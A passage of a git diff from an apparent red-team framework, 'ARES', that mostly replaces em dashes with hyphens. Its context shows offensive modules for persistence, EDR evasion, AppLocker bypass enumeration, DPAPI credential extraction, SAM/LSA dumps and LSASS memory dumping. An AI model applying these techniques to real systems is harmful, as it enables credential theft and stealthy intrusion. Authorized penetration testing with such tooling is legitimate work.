ctx.params.get("target", "")if not target:raise ModuleValidationError(- "persistence.scheduled_task requires 'target' — IP of Windows host.",+ "persistence.scheduled_task requires 'target' - IP of Windows host.",module_id=self.MODULE_ID, field="target",)if not ctx.params.get("username"):@@ -444,7 +444,7 @@ def _rrp_set_run_key(target: str, username: str, password: str,)class RegistryRunKeyPersistence(BaseModule):"""- persistence.registry_run — Add payload to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run+ persistence.registry_run - Add payload to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOPSEC: MEDIUMMITRE: T1547.001diff --git a/ares/modules/persistence/wmi_subscription.py b/ares/modules/persistence/wmi_subscription.pyindex abf0970..f0906eb 100644--- a/ares/modules/persistence/wmi_subscription.py+++ b/ares/modules/persistence/wmi_subscription.py@@ -4,7 +4,7 @@ MITRE: T1546.003Creates a WMI event subscription (FilterToConsumerBinding) that executesa command when a specified event fires (e.g., user logon, time trigger).-Extremely stealthy — survives reboots, not visible in Autoruns by default.+Extremely stealthy - survives reboots, not visible in Autoruns by default.Requires: local admin on target."""@@ -39,7 +39,7 @@ logger = get_logger("ares.modules.persistence.wmi_subscription"))class WMISubscriptionModule(BaseModule):"""- persistence.wmi_subscription — Create a WMI FilterToConsumerBinding that executes a command on event trigger — highly stealthy+ persistence.wmi_subscription - Create a WMI FilterToConsumerBinding that executes a command on event trigger - highly stealthyOPSEC: MEDIUMMITRE: "T1546.003"@@ -50,7 +50,7 @@ class WMISubscriptionModule(BaseModule):MODULE_NAME = "WMI Event Subscription Persistence"MODULE_CATEGORY = "persistence"MODULE_DESCRIPTION = (- "Create a WMI FilterToConsumerBinding that executes a command on event trigger — "+ "Create a WMI FilterToConsumerBinding that executes a command on event trigger - ""highly stealthy persistence that survives reboots")MODULE_AUTHOR = "ARES Team <[email protected]>"diff --git a/ares/modules/recon/__init__.py b/ares/modules/recon/__init__.pyindex 6f875ff..ae2637f 100644--- a/ares/modules/recon/__init__.py+++ b/ares/modules/recon/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.recon+ARES - modules.reconReconnaissance and fingerprinting modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/recon/fingerprint.py b/ares/modules/recon/fingerprint.pyindex 0a9c578..d048914 100644--- a/ares/modules/recon/fingerprint.py+++ b/ares/modules/recon/fingerprint.py@@ -1,7 +1,7 @@"""-Target Environment Fingerprinting — recon.fingerprint-MITRE: T1082 — System Information Discovery- T1518.001 — Security Software Discovery+Target Environment Fingerprinting - recon.fingerprint+MITRE: T1082 - System Information Discovery+ T1518.001 - Security Software DiscoveryThin wrapper around ares/fingerprint/engine.py (650 lines, fully implemented).Runs passive-first OS/domain/EDR fingerprinting BEFORE attack modules.@@ -12,7 +12,7 @@ Key outputs:- recommended_profile: stealth | normal | aggressive- Stored to campaign._artifact_store for GoalEngine + AdaptiveOpsecEngine-OPSEC: LOW — passive techniques first (banner grab, DNS PTR, NTLM challenge).+OPSEC: LOW - passive techniques first (banner grab, DNS PTR, NTLM challenge).No authentication required. No exploit sent to target."""from __future__ import annotations@@ -52,7 +52,7 @@ _HIGH_RISK_EDR = {"crowdstrike", "sentinelone", "defender_atp"})class FingerprintModule(BaseModule):"""- recon.fingerprint — Passive-first OS, domain role, and EDR/AV detection before any attack module. Detects CrowdStrik+ recon.fingerprint - Passive-first OS, domain role, and EDR/AV detection before any attack module. Detects CrowdStrikOPSEC: LOWMITRE: "T1082", "T1518.001"@@ -83,7 +83,7 @@ class FingerprintModule(BaseModule):target = getattr(ctx, "target", "") or ctx.params.get("target", "")if not target:raise ModuleValidationError(- "recon.fingerprint requires 'target' — IP or hostname to fingerprint.",+ "recon.fingerprint requires 'target' - IP or hostname to fingerprint.",module_id=self.MODULE_ID, field="target",)@@ -241,7 +241,7 @@ class FingerprintModule(BaseModule):edr=[e.value for e in result.edr_vendors],risk=result.detection_risk)- # Finding: EDR detected — warn operator before attack modules run+ # Finding: EDR detected - warn operator before attack modules runif result.edr_vendors:edr_names = [e.value for e in result.edr_vendors]is_high = any(e.value in _HIGH_RISK_EDR for e in result.edr_vendors)@@ -251,12 +251,12 @@ class FingerprintModule(BaseModule):description = (f"Security software detected on {target}: {', '.join(edr_names)}. "+ (- "Advanced EDR (CrowdStrike/SentinelOne/Defender ATP) detected — "+ "Advanced EDR (CrowdStrike/SentinelOne/Defender ATP) detected - ""STEALTH noise profile strongly recommended. ""HIGH_NOISE modules (dcsync, kerberoast burst, psexec) ""will generate immediate alerts."if is_high else- f"EDR active — use NORMAL or STEALTH profile."+ f"EDR active - use NORMAL or STEALTH profile.")),severity = sev,@@ -299,5 +299,5 @@ class FingerprintModule(BaseModule):host = target, confidence = 0.95,)- raw["fingerprint_result"] = {k: v for k, v in raw.items()} # OUTPUTS key — shallow copy to avoid circular ref+ raw["fingerprint_result"] = {k: v for k, v in raw.items()} # OUTPUTS key - shallow copy to avoid circular refreturn self._findings[:], rawdiff --git a/ares/modules/reporting/__init__.py b/ares/modules/reporting/__init__.pyindex 9cd8951..f902f96 100644--- a/ares/modules/reporting/__init__.py+++ b/ares/modules/reporting/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.reporting+ARES - modules.reportingCampaign report generationPublic API for this package. Import from here in production code:diff --git a/ares/modules/reporting/report_gen.py b/ares/modules/reporting/report_gen.pyindex 2df0865..68027f2 100644--- a/ares/modules/reporting/report_gen.py+++ b/ares/modules/reporting/report_gen.py@@ -227,7 +227,7 @@ def _build_mitre_map(findings: list[Any]) -> dict[str, list[dict[str, Any]]]:tactic_map[tactic] = []tactic_map[tactic].append({- "technique": f.mitre_technique or "—",+ "technique": f.mitre_technique or " - ","title": f.title,"severity": f.severity.value,}@@ -661,7 +661,7 @@ _HTML_TEMPLATE = r"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">-<title>ARES Report — {{ campaign.name }}</title>+<title>ARES Report - {{ campaign.name }}</title><style>:root{--red:#e94560;--dark:#0a0f1e;--card:#111827;--border:#1e293b;--text:#e2e8f0;--muted:#6b7280}*{box-sizing:border-box;margin:0;padding:0}body{font-family:'Segoe UI',system-ui,sans-serif;background:var(--dark);color:var(--text);line-height:1.6}@@ -866,7 +866,7 @@ footer{margin-top:3rem;color:var(--muted);font-size:.82rem;border-top:1px solid{% else %}<div class="tactic-cell"><div class="tactic-name">{{ tactic }}</div>- <span style="font-size:.75rem;color:var(--muted)">—</span>+ <span style="font-size:.75rem;color:var(--muted)"> - </span></div>{% endif %}{% endfor %}@@ -898,7 +898,7 @@ footer{margin-top:3rem;color:var(--muted);font-size:.82rem;border-top:1px solid</div>{% endif %}-<!-- Attack Graph — vanilla Canvas force-directed layout (no external deps) -->+<!-- Attack Graph - vanilla Canvas force-directed layout (no external deps) --><h2>Attack Graph</h2><div id="graph-container"><canvas id="gc" width="1060" height="490" style="width:100%;border-radius:8px;background:#0a0f1e"></canvas>@@ -1950,7 +1950,7 @@ class ReportGenerator:return outlines: list[str] = [- f"# ARES Report — {campaign.name}\n",+ f"# ARES Report - {campaign.name}\n",f"> **Client:** {campaign.client} · **Operator:** {campaign.operator} · **Generated:** {ctx['generated_at']}",f"\n**Risk Score:** `{ctx['risk_score']:.1f}` · **Confirmed:** `{ctx['total_findings']}`\n","---\n",diff --git a/ares/modules/sdk.py b/ares/modules/sdk.pyindex 125f4dd..fbef4d9 100644--- a/ares/modules/sdk.py+++ b/ares/modules/sdk.py@@ -50,7 +50,7 @@ Quick start:)async def run(self, **kwargs):- # Legacy interface — prefer execute(ctx) instead+ # Legacy interface - prefer execute(ctx) insteadctx = ExecutionContext.for_test(**kwargs)result = await self.execute(ctx)return result.findings, result.raw@@ -230,7 +230,7 @@ def timeout(seconds: int | float) -> Any:return decorator-# ── TestHelper — makes unit testing modules trivial ───────────────────────────+# ── TestHelper - makes unit testing modules trivial ───────────────────────────class ModuleTestHelper:diff --git a/ares/modules/windows/__init__.py b/ares/modules/windows/__init__.pyindex 5aec8d4..6db681f 100644--- a/ares/modules/windows/__init__.py+++ b/ares/modules/windows/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.windows+ARES - modules.windowsWindows post-exploitation modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/windows/applocker_bypass.py b/ares/modules/windows/applocker_bypass.pyindex fcbcf08..933f73f 100644--- a/ares/modules/windows/applocker_bypass.py+++ b/ares/modules/windows/applocker_bypass.py@@ -10,10 +10,10 @@ Reads AppLocker rules from the registry and checks for:4. Classic unsigned bypass paths (WMIC, mshta, wscript, cscript, etc.)that may still be allowed under publisher or path rules-This module is ENUMERATION ONLY — no code execution on target.+This module is ENUMERATION ONLY - no code execution on target.Operator uses findings to assess bypass feasibility.-OPSEC: LOW — remote registry read + optional WinRM command for path writability.+OPSEC: LOW - remote registry read + optional WinRM command for path writability.Main detection surface is registry access audit (rarely enabled)."""from __future__ import annotations@@ -48,10 +48,10 @@ _COLLECTIONS = ["Exe", "Script", "Msi", "Dll", "Appx"]# Classic LOLBins that bypass application whitelisting when not explicitly blocked_LOLBINS: list[dict[str, str]] = [- {"binary": "mshta.exe", "technique": "Execute HTA files — often not in AppLocker rules"},+ {"binary": "mshta.exe", "technique": "Execute HTA files - often not in AppLocker rules"},{"binary": "wscript.exe", "technique": "Execute VBScript/JScript"},{"binary": "cscript.exe", "technique": "Execute VBScript/JScript via cscript"},- {"binary": "regsvr32.exe", "technique": "Squiblydoo — execute SCT file via COM"},+ {"binary": "regsvr32.exe", "technique": "Squiblydoo - execute SCT file via COM"},{"binary": "regasm.exe", "technique": "Execute .NET assembly via COM registration"},{"binary": "regsvcs.exe", "technique": "Execute .NET assembly via COM services"},{"binary": "installutil.exe", "technique": "Execute .NET assembly via installer utility"},@@ -62,7 +62,7 @@ _LOLBINS: list[dict[str, str]] = [{"binary": "wmic.exe", "technique": "Execute XSL via wmic /format"},{"binary": "forfiles.exe", "technique": "Execute arbitrary commands via /c parameter"},{"binary": "pcalua.exe", "technique": "Execute arbitrary program as child process"},- {"binary": "bash.exe", "technique": "WSL bash — execute Linux binaries if WSL enabled"},+ {"binary": "bash.exe", "technique": "WSL bash - execute Linux binaries if WSL enabled"},{"binary": "pwsh.exe", "technique": "PowerShell 7+ unmanaged engine execution bypassing classic Windows PowerShell Constrained Language Mode"},{"binary": "dotnet.exe", "technique": "Execute compiled DLL assemblies directly without msbuild/csc under trusted program files"},{"binary": "curl.exe", "technique": "Native Windows curl download & execute (Windows 10 1803+)"},@@ -91,7 +91,7 @@ _TRUSTED_WRITABLE_CANDIDATES: list[str] = [)class AppLockerBypassModule(BaseModule):"""- windows.applocker_bypass — Enumerate AppLocker policy from registry, identify enforcement mode, and detect writable trusted+ windows.applocker_bypass - Enumerate AppLocker policy from registry, identify enforcement mode, and detect writable trustedOPSEC: LOWMITRE: "T1218", "T1574.001", "T1082"@@ -130,7 +130,7 @@ class AppLockerBypassModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -269,7 +269,7 @@ class AppLockerBypassModule(BaseModule):hBaseRegCloseKey, DCERPCException,)except ImportError:- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}logger.info("applocker_enum_start", target=target, username=username)audit("applocker_enum", actor=username, source="operator",@@ -441,7 +441,7 @@ class AppLockerBypassModule(BaseModule):description=(f"The following AppLocker rule collections are in Audit mode "f"(not enforcing) on {target}: {', '.join(audit_only)}. "- "Rules are logged but NOT blocked — any executable can still run."+ "Rules are logged but NOT blocked - any executable can still run."),severity=Severity.HIGH,mitre_technique="T1218",@@ -530,7 +530,7 @@ class AppLockerBypassModule(BaseModule):# ── Finding 4: Writable trusted path candidates ────────────────self.finding(- title=f"Potential Writable Trusted Paths on {target} — Manual Verification Needed",+ title=f"Potential Writable Trusted Paths on {target} - Manual Verification Needed",description=(f"The following paths are commonly writable by low-privileged users "f"on Windows systems and may fall within AppLocker trusted path rules: "diff --git a/ares/modules/windows/dpapi.py b/ares/modules/windows/dpapi.pyindex f29f8bd..dc0c2ea 100644--- a/ares/modules/windows/dpapi.py+++ b/ares/modules/windows/dpapi.py@@ -1,7 +1,7 @@"""-DPAPI Protected Credential Recovery — windows.dpapi-MITRE: T1555.004 — Credentials from Password Stores: Windows Credential Manager- T1555.003 — Credentials from Web Browsers+DPAPI Protected Credential Recovery - windows.dpapi+MITRE: T1555.004 - Credentials from Password Stores: Windows Credential Manager+ T1555.003 - Credentials from Web BrowsersExtracts credentials protected by Windows DPAPI (Data Protection API):- Chrome/Edge saved passwords (Login Data SQLite DB)@@ -11,11 +11,11 @@ Extracts credentials protected by Windows DPAPI (Data Protection API):- Outlook/Teams tokens (AppData/Roaming)Three decryption paths:- 1. USER CONTEXT — CryptUnprotectData directly (running as target user)- 2. DOMAIN BACKUP — DC backup key decrypts all blobs in domain (from lsa_secrets)- 3. OFFLINE — SHA1(NT_HASH) derives DPAPI master key (from lsass_dump)+ 1. USER CONTEXT - CryptUnprotectData directly (running as target user)+ 2. DOMAIN BACKUP - DC backup key decrypts all blobs in domain (from lsa_secrets)+ 3. OFFLINE - SHA1(NT_HASH) derives DPAPI master key (from lsass_dump)-OPSEC: MEDIUM — file access only, no process injection.+OPSEC: MEDIUM - file access only, no process injection.Does not trigger EDR behavior rules by default."""from __future__ import annotations@@ -53,7 +53,7 @@ logger = get_logger("ares.modules.windows.dpapi"))class DPAPIModule(BaseModule):"""- windows.dpapi — Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, Windows Credential Manager, RDP+ windows.dpapi - Extract DPAPI-protected credentials: Chrome passwords, WiFi PSK, Windows Credential Manager, RDPOPSEC: MEDIUMMITRE: "T1555.004", "T1555.003"@@ -173,13 +173,13 @@ class DPAPIModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- "windows.dpapi requires 'target' — IP of target Windows host.",+ "windows.dpapi requires 'target' - IP of target Windows host.",module_id=self.MODULE_ID, field="target",)username = (ctx.params.get("username", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "username", ""))if not username:raise ModuleValidationError(- "windows.dpapi requires 'username' — target user whose DPAPI blobs to decrypt.",+ "windows.dpapi requires 'username' - target user whose DPAPI blobs to decrypt.",module_id=self.MODULE_ID, field="username",)await super().validate(ctx)@@ -334,7 +334,7 @@ class DPAPIModule(BaseModule):loop = asyncio.get_running_loop()- # Transfer target files via SMB — surface auth/network errors early+ # Transfer target files via SMB - surface auth/network errors earlytry:local_files = await loop.run_in_executor(None,@@ -348,7 +348,7 @@ class DPAPIModule(BaseModule):if "logon failure" in err or "status_logon_failure" in err:from ares.core.errors import AuthenticationFailedraise AuthenticationFailed(- f"DPAPI SMB auth failed on {target} — check credentials.",+ f"DPAPI SMB auth failed on {target} - check credentials.",username=username, module_id=self.MODULE_ID, target=target,) from excif "timed out" in err or "connection refused" in err:@@ -382,7 +382,7 @@ class DPAPIModule(BaseModule):)credentials.extend(creds)- # Chrome Login Data — special handling via sqlite3+ # Chrome Login Data - special handling via sqlite3chrome_creds = await loop.run_in_executor(None,lambda: self._parse_chrome_logindata(@@ -527,7 +527,7 @@ class DPAPIModule(BaseModule):os.unlink(local_path)except OSError:pass- pass # file not found or no access — continue+ pass # file not found or no access - continuetry:smb.logoff()@@ -564,7 +564,7 @@ class DPAPIModule(BaseModule):creds.append({"source": "credential_manager","username": target_user,- "note": "DPAPI blob found — key derivation attempted",+ "note": "DPAPI blob found - key derivation attempted",})except Exception:passdiff --git a/ares/modules/windows/lsa_secrets.py b/ares/modules/windows/lsa_secrets.pyindex ee4ef44..67077bb 100644--- a/ares/modules/windows/lsa_secrets.py+++ b/ares/modules/windows/lsa_secrets.py@@ -45,7 +45,7 @@ logger = get_logger("ares.modules.windows.lsa_secrets"))class LSASecretsModule(BaseModule):"""- windows.lsa_secrets — "Extract local account hashes (SAM+ windows.lsa_secrets - "Extract local account hashes (SAMOPSEC: HIGH_NOISEMITRE: "T1003.002", "T1003.004"@@ -56,7 +56,7 @@ class LSASecretsModule(BaseModule):MODULE_NAME = "LSA Secrets & SAM Dump"MODULE_CATEGORY = "windows"MODULE_DESCRIPTION = (- "Extract local account hashes (SAM) and LSA secrets via impacket secretsdump — "+ "Extract local account hashes (SAM) and LSA secrets via impacket secretsdump - ""recovers service account cleartext passwords stored in LSA")OPSEC_LEVEL = OpsecLevel.HIGH_NOISE@@ -137,7 +137,7 @@ class LSASecretsModule(BaseModule):)async def validate(self, ctx: "Any") -> None:- """LSA secrets dump blocked in STEALTH — registry access triggers Sysmon."""+ """LSA secrets dump blocked in STEALTH - registry access triggers Sysmon."""from ares.core.context import ExecutionContextfrom ares.core.errors import ModuleValidationErrorfrom ares.core.campaign import NoiseProfile@@ -155,13 +155,13 @@ class LSASecretsModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- "windows.lsa_secrets requires 'target' — IP of target Windows host.",+ "windows.lsa_secrets requires 'target' - IP of target Windows host.",module_id=self.MODULE_ID, field="target",)noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "windows.lsa_secrets is blocked in STEALTH profile — "+ "windows.lsa_secrets is blocked in STEALTH profile - ""registry hive access triggers Sysmon Event ID 12/13 and EDR alerts. ""Use NORMAL or AGGRESSIVE profile.",module_id=self.MODULE_ID, field="noise_profile",@@ -282,7 +282,7 @@ class LSASecretsModule(BaseModule):domain = kwargs.get("domain", "")dry_run = kwargs.get("dry_run", False)- target = sanitize_hostname(target) # lsa_secrets was missing this — ISU fix+ target = sanitize_hostname(target) # lsa_secrets was missing this - ISU fixif not target or not username:return [], {"error": "target and username required"}@@ -297,7 +297,7 @@ class LSASecretsModule(BaseModule):)from impacket.smbconnection import SMBConnection # type: ignore[import]except ImportError:- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}logger.info("lsa_secrets_start", target=target, username=username)audit("lsa_secrets", actor=username, source="operator",@@ -370,7 +370,7 @@ class LSASecretsModule(BaseModule):if sam_hashes:self.finding(- title=f"SAM Database Dumped — {len(sam_hashes)} Local Account Hash(es) from {target}",+ title=f"SAM Database Dumped - {len(sam_hashes)} Local Account Hash(es) from {target}",description=(f"Successfully dumped SAM database from {target} with {len(sam_hashes)} ""local account NTLM hash(es). These can be used for Pass-the-Hash attacks "@@ -397,7 +397,7 @@ class LSASecretsModule(BaseModule):if re.search(r'\$MACHINE\.ACC|_SC_|DPAPI|NL\$KM', s))self.finding(- title=f"LSA Secrets Extracted — {len(lsa_secrets_out)} Secret(s) from {target}",+ title=f"LSA Secrets Extracted - {len(lsa_secrets_out)} Secret(s) from {target}",description=(f"LSA secrets extracted from {target}. ""LSA secrets can contain service account cleartext passwords, "diff --git a/ares/modules/windows/lsass_dump.py b/ares/modules/windows/lsass_dump.pyindex ec57351..38a572a 100644--- a/ares/modules/windows/lsass_dump.py+++ b/ares/modules/windows/lsass_dump.py@@ -1,21 +1,21 @@"""-LSASS Memory Credential Extraction — windows.lsass_dump-MITRE: T1003.001 — OS Credential Dumping: LSASS Memory+LSASS Memory Credential Extraction - windows.lsass_dump+MITRE: T1003.001 - OS Credential Dumping: LSASS MemoryExtracts NTLM hashes and Kerberos tickets from LSASS process memory viaremote execution through an established session (psexec/wmiexec/winrm).Three techniques ordered from stealthiest to noisiest:- 1. COMSVCS.DLL MiniDump (default) — rundll32.exe comsvcs.dll, does not+ 1. COMSVCS.DLL MiniDump (default) - rundll32.exe comsvcs.dll, does notmatch most EDR signatures for LSASS access. Requires SYSTEM.- 2. Task Manager method — via procdump.exe if available on target.+ 2. Task Manager method - via procdump.exe if available on target.3. Direct via impacket secretsdump (DA required, no touch disk).Dump parsed locally with pypykatz (Python mimikatz port).All credentials encrypted into CredentialVault.Dump file secure-deleted after parsing.-OPSEC: HIGH — EDR monitors OpenProcess to LSASS (Sysmon Event ID 10).+OPSEC: HIGH - EDR monitors OpenProcess to LSASS (Sysmon Event ID 10).Blocked in STEALTH profile. Requires local SYSTEM or admin."""from __future__ import annotations@@ -55,7 +55,7 @@ logger = get_logger("ares.modules.windows.lsass_dump"))class LsassDumpModule(BaseModule):"""- windows.lsass_dump — Extract NTLM hashes + Kerberos tickets from LSASS via COMSVCS.DLL MiniDump. Remote execution via+ windows.lsass_dump - Extract NTLM hashes + Kerberos tickets from LSASS via COMSVCS.DLL MiniDump. Remote execution viaOPSEC: HIGH_NOISEMITRE: "T1003.001"@@ -124,7 +124,7 @@ class LsassDumpModule(BaseModule):# 1. Check Credential Guard (VBS/LsaIso.exe)if host_state.has_defense("credential_guard") or host_state.has_defense("vbs"):blockers.append(- "Credential Guard (LsaIso.exe) active: LSASS memory isolated via VBS — "+ "Credential Guard (LsaIso.exe) active: LSASS memory isolated via VBS - ""NTLM hashes and Kerberos keys cannot be extracted from userland memory")score = min(score, 0.05)@@ -178,7 +178,7 @@ class LsassDumpModule(BaseModule):noise = getattr(getattr(ctx, "campaign", None), "noise_profile", None)if noise == NoiseProfile.STEALTH:raise ModuleValidationError(- "windows.lsass_dump is blocked in STEALTH profile — "+ "windows.lsass_dump is blocked in STEALTH profile - ""LSASS access triggers Sysmon Event ID 10 and is monitored by all EDR. ""Use NORMAL or AGGRESSIVE profile.",module_id=self.MODULE_ID, field="noise_profile",@@ -195,7 +195,7 @@ class LsassDumpModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- "windows.lsass_dump requires 'target' — IP of target Windows host.",+ "windows.lsass_dump requires 'target' - IP of target Windows host.",module_id=self.MODULE_ID, field="target",)username = (ctx.params.get("username", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "username", ""))@@ -337,20 +337,20 @@ class LsassDumpModule(BaseModule):technique: str = "comsvcs", **kwargs: Any):await self.before_request(target, "default")logger.warning("lsass_dump_start", target=target, technique=technique,- msg="HIGH_NOISE — EDR_ALERT_LIKELY")+ msg="HIGH_NOISE - EDR_ALERT_LIKELY")audit("lsass_dump", actor=username, technique="T1003.001",source="operator", target=target, detail=f"technique={technique}")loop = asyncio.get_running_loop()if technique == "secretsdump":- # Direct via impacket — no touch disk, requires DA+ # Direct via impacket - no touch disk, requires DAhashes = await loop.run_in_executor(None,lambda: self._secretsdump_sync(target, username, password, domain, lmhash, nthash),)else:- # COMSVCS.DLL MiniDump — stealthiest, requires SYSTEM+ # COMSVCS.DLL MiniDump - stealthiest, requires SYSTEMhashes = await loop.run_in_executor(None,lambda: self._comsvcs_dump_sync(target, username, password, domain, lmhash, nthash),@@ -364,7 +364,7 @@ class LsassDumpModule(BaseModule):title = f"LSASS Dump: {len(hashes)} Credentials from {target}",description = (f"Extracted {len(hashes)} NTLM hash(es) from LSASS on {target}. "- + ("krbtgt hash obtained — Golden Ticket possible. " if krbtgt else "")+ + ("krbtgt hash obtained - Golden Ticket possible. " if krbtgt else "")+ "All credentials stored in vault for immediate reuse."),severity = Severity.CRITICAL,@@ -402,7 +402,7 @@ class LsassDumpModule(BaseModule):def _secretsdump_sync(self, target: str, username: str, password: str,domain: str, lmhash: str, nthash: str) -> list[dict]:- """Direct secretsdump via impacket — no touch disk, DA required."""+ """Direct secretsdump via impacket - no touch disk, DA required."""from impacket.examples.secretsdump import RemoteOperations, NTDSHashesfrom impacket.smbconnection import SMBConnection@@ -488,7 +488,7 @@ class LsassDumpModule(BaseModule):# Step 3: Transfer dump via SMBimport time as _time- # Poll for dump file instead of fixed sleep — faster on quick targets, safer on slow ones+ # Poll for dump file instead of fixed sleep - faster on quick targets, safer on slow ones_poll_start = _time.monotonic()_poll_timeout = 30 # max seconds to wait for dump file to appearwhile _time.monotonic() - _poll_start < _poll_timeout:@@ -501,7 +501,7 @@ class LsassDumpModule(BaseModule):_time.sleep(1)from ares.core.security import secure_mkstemplocal_dump, _fd = secure_mkstemp(suffix=".dmp", prefix="ares_lsass_")- import os as _os_tmp; _os_tmp.close(_fd) # mkstemp opens fd — close immediately, file will be written via SMB+ import os as _os_tmp; _os_tmp.close(_fd) # mkstemp opens fd - close immediately, file will be written via SMBtry:with open(local_dump, "wb") as f:diff --git a/ares/modules/windows/registry_enum.py b/ares/modules/windows/registry_enum.pyindex 1c63a85..53a6cbf 100644--- a/ares/modules/windows/registry_enum.py+++ b/ares/modules/windows/registry_enum.py@@ -24,7 +24,7 @@ Keys checked:HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*→ Some installers store credentials in uninstall strings-OPSEC: LOW — remote registry read via SMB named pipe \\pipe\\winreg.+OPSEC: LOW - remote registry read via SMB named pipe \\pipe\\winreg.Leaves minimal traces (SMB session + registry access audit events ifObject Access auditing is enabled, which is rare on workstations)."""@@ -142,7 +142,7 @@ _ENUM_TARGETS: list[tuple[str, str, list[str] | None, str, str]] = [),]-# HKCU paths (per-user) — enumerated under current user context+# HKCU paths (per-user) - enumerated under current user context_HKCU_TARGETS: list[tuple[str, str, list[str] | None, str, str]] = [("HKCU",@@ -178,7 +178,7 @@ _SEV_MAP = {)class RegistryEnumModule(BaseModule):"""- windows.registry_enum — Read-only enumeration of well-known registry keys that store credentials — AutoLogon, VNC passwo+ windows.registry_enum - Read-only enumeration of well-known registry keys that store credentials - AutoLogon, VNC passwoOPSEC: LOWMITRE: "T1552.002", "T1082"@@ -191,7 +191,7 @@ class RegistryEnumModule(BaseModule):MODULE_CATEGORY = "windows"MODULE_DESCRIPTION = ("Read-only enumeration of well-known registry keys that store "- "credentials — AutoLogon, VNC passwords, SNMP community strings"+ "credentials - AutoLogon, VNC passwords, SNMP community strings")MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.LOW@@ -221,7 +221,7 @@ class RegistryEnumModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or hostname.",+ f"{self.MODULE_ID} requires 'target' - IP or hostname.",module_id=self.MODULE_ID, field="target",)await super().validate(ctx)@@ -358,7 +358,7 @@ class RegistryEnumModule(BaseModule):hBaseRegCloseKey, DCERPCException,)except ImportError:- return [], {"error": "impacket not installed — pip install ares-redteam[ad]"}+ return [], {"error": "impacket not installed - pip install ares-redteam[ad]"}logger.info("registry_enum_start", target=target, username=username)audit("registry_enum", actor=username, source="operator",@@ -403,7 +403,7 @@ class RegistryEnumModule(BaseModule):ans = hBaseRegOpenKey(dce, hive, reg_path)hkey = ans["phkResult"]except DCERPCException:- # Key does not exist — normal+ # Key does not exist - normalhBaseRegCloseKey(dce, hive)continue@@ -518,7 +518,7 @@ class RegistryEnumModule(BaseModule):# ── Generate findings ──────────────────────────────────────────────- # AutoLogon — most critical+ # AutoLogon - most criticalautologon = next((h for h in all_findingsif "Winlogon" in h["path"]),diff --git a/ares/modules/windows/scheduled_tasks_enum.py b/ares/modules/windows/scheduled_tasks_enum.pyindex df5eed0..b12a7e3 100644--- a/ares/modules/windows/scheduled_tasks_enum.py+++ b/ares/modules/windows/scheduled_tasks_enum.py@@ -1,5 +1,5 @@"""-Windows Scheduled Tasks Enumeration — Privilege Escalation Path Analysis+Windows Scheduled Tasks Enumeration - Privilege Escalation Path AnalysisMITRE: T1053.005 (Scheduled Task/Job), T1574.001 (DLL Search Order Hijacking)Enumerates scheduled tasks on the target via impacket TSCH RPC and identifies:@@ -10,10 +10,10 @@ Enumerates scheduled tasks on the target via impacket TSCH RPC and identifies:4. Misconfigured task permissions (task itself writable by low-priv users)5. Tasks that run at logon or on a schedule that could be abused for persistence-This module is ENUMERATION ONLY — it reads task XML and checks paths.+This module is ENUMERATION ONLY - it reads task XML and checks paths.No tasks are created, modified, or triggered.-OPSEC: LOW-MEDIUM — connects via SMB + TSCH RPC (\\pipe\\atsvc).+OPSEC: LOW-MEDIUM - connects via SMB + TSCH RPC (\\pipe\\atsvc).Generates: SMB connection events. No process execution on target."""from __future__ import annotations@@ -154,7 +154,7 @@ def _parse_task_xml(xml_str: str) -> dict[str, Any]:)class ScheduledTasksEnumModule(BaseModule):"""- windows.scheduled_tasks_enum — Enumerate scheduled tasks via TSCH RPC and identify high-privilege tasks with writable binary pa+ windows.scheduled_tasks_enum - Enumerate scheduled tasks via TSCH RPC and identify high-privilege tasks with writable binary paOPSEC: LOWMITRE: "T1053.005", "T1082"@@ -166,7 +166,7 @@ class ScheduledTasksEnumModule(BaseModule):MODULE_CATEGORY = "windows"MODULE_DESCRIPTION = ("Enumerate scheduled tasks via TSCH RPC and identify high-privilege tasks "- "with writable binary paths — privilege escalation path analysis"+ "with writable binary paths - privilege escalation path analysis")MODULE_AUTHOR = "ARES Team <[email protected]>"OPSEC_LEVEL = OpsecLevel.LOW@@ -193,7 +193,7 @@ class ScheduledTasksEnumModule(BaseModule):target = getattr(ctx, "target", "") or (ctx.params.get("target", "") if isinstance(ctx.params, dict) else getattr(ctx.params, "target", ""))if not target:raise ModuleValidationError(- f"{self.MODULE_ID} requires 'target' — IP or 